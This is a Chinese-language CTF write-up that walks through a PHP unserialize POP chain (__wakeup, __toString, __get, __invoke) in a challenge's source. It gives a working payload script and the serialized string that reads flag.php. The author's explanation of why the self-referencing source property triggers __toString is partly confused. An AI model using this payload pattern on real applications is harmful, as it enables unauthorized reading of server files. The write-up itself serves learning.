题目来源
2020-3-1-prontosil-反序列化与POP链
各种魔术方法的调用过程
这里__get()和__set的定义不准确
当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数。
当试图设置一个不可达属性时(比如private),类会自动调用__set函数
具体的给出一个链接,可以看这篇博客
PHP中的__get和__set理解
实例中pop链的构造
首先是源码(把题目手打了一遍emmmm)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <?php error_reporting(1); class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke() { $content = $this->file_get($this->var); echo $content; } }
class Show { public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'Welcome.'."<br>"; } public function __tostring() { return $this->str['str']->source; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i', $this->source)){ die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|ftp|https|dict|\.\./i", $this->source)){ echo "hacker"; $this->source = "index.php"; } } }
class Test { public $p; public function __construct() { $this->p= array(); }
public function __get($key) { $function = $this->p; return $function(); } }
if(isset($_GET['hello'])) { unserialize($_GET['hello']); } else { $show = new Show('test.php'); $show->_show(); } ?>
|
第一步从unserialize开始,当传入参数hello进行反序列化后,会调用下面这个__wakeup()魔术方法
1 2 3 4 5 6 7 8
| public function __wakeup() { if(preg_match("/gopher|http|ftp|https|dict|\.\./i", $this->source)){ echo "hacker"; $this->source = "index.php"; } }
|
进入该方法后后会进行preg_match正则匹配,可以让这里的$this->source
是被当作字符串来(也就是原本不是字符串要报错的那种,强制当成字符串),就可以进入下面这个__toString()方法
1 2 3 4
| public function __tostring() { return $this->str['str']->source; }
|
(这里是最不好理解的一步,我也不是太懂,一个变量还能取它的成员变量,php真神奇)
(后记之后:现在懂了,在payload中,往str[‘str’]的值里放了一个类,而这个类中没有source这个成员变量,于是它就是调用__get())
在这个方法中,会调用str数组中str这个key的值,str[‘str’]就是这个意思,str是一个数组,取里面’str’这个key的对应的值(这里它的值是一个类),就跟python里的字典是一个道理,具体的可以百度搜,然后再取这个对应的值(类)里面的source这个成员变量的值,是不存在的(payload中我们自己可以定义,所以让它不存在就行了),这个时候就会去进入Test类中的__get()魔术方法,如下
1 2 3 4 5
| public function __get($key) { $function = $this->p; return $function(); }
|
这个__get()魔术方法中把p的值赋给了$function并把它当作函数返回,于是会进入__invoke()这个魔术方法,如下
1 2 3 4 5
| public function __invoke() { $content = $this->file_get($this->var); echo $content; }
|
1 2 3 4 5
| public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; }
|
在__invoke()中调用了file_get函数,而file_get函数则是用file_get_contents读取文件内容,其中提供给file_get的变量var是我们能控制(在payload中的Read类中定义的),就达到了读取文件的目的,至此pop链构造结束
总结一下就是__wakeup()
-> __toString()
-> __get
->__invoke
-> file_get
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php class Show{ public $source; public $str; }
class Test{ public $p; }
class Read{ public $var = "flag.php"; }
$s = new Show(); $t = new Test(); $r = new Read(); $t->p = $r; $s->str['str'] = $t; $s->source = $s; var_dump(serialize($s));
|
输出
"O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}"
将这一串赋值给hello后即可读取flag中的内容,如下图
总结
说句实在话这payload也看的我一脸蒙蔽(后记之后:现在懂了),php真的是疯狂套娃,类可以直接赋值给变量就很骚,就像上面这个payload最后一步$s->source = $s;
执行后$s里的source里永远都是它本身,疯狂套娃,可以看到上面的图片,总之payload就是要在搞清楚pop链之后,想办法如何取调用每一个魔术方法,以达到读取文件的目的,还是非常绕的,还得花更多时间研究php
后记
又去调试了解了一下,最后要$s->source = $s;
,就是因为要将$s中的source变得无限套娃,这样它就不能正常被调用,只能当做字符串来处理,也就调用了__tostring(),__tostring就是要在无法正常调用时才会被触发,只能把这个对象当作字符串来处理,可以看下面这个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| class Person{ private $name = ""; function __construct($name = ""){ $this->name = $name; } function say(){ echo "Hello,".$this->name."!<br/>"; } function __tostring(){ return "Hello,".$this->name."!<br/>"; } } $WBlog = new Person('WBlog'); echo $WBlog; $WBlog->say();
|
程序输出:
Hello,WBlog!
Hello,WBlog!
如果不定义“__tostring()”方法会怎么样呢?例如在上面代码的基础上,把“ __tostring()”方法屏蔽掉,再看一下程序输出结果:
Catchable fatal error: Object of class Person could not be converted to string
由此可知如果在类中没有定义“__tostring()”方法,则直接输出以象的引用时就会产生误法错误,另外__tostring()方法体中需要有一个返回值。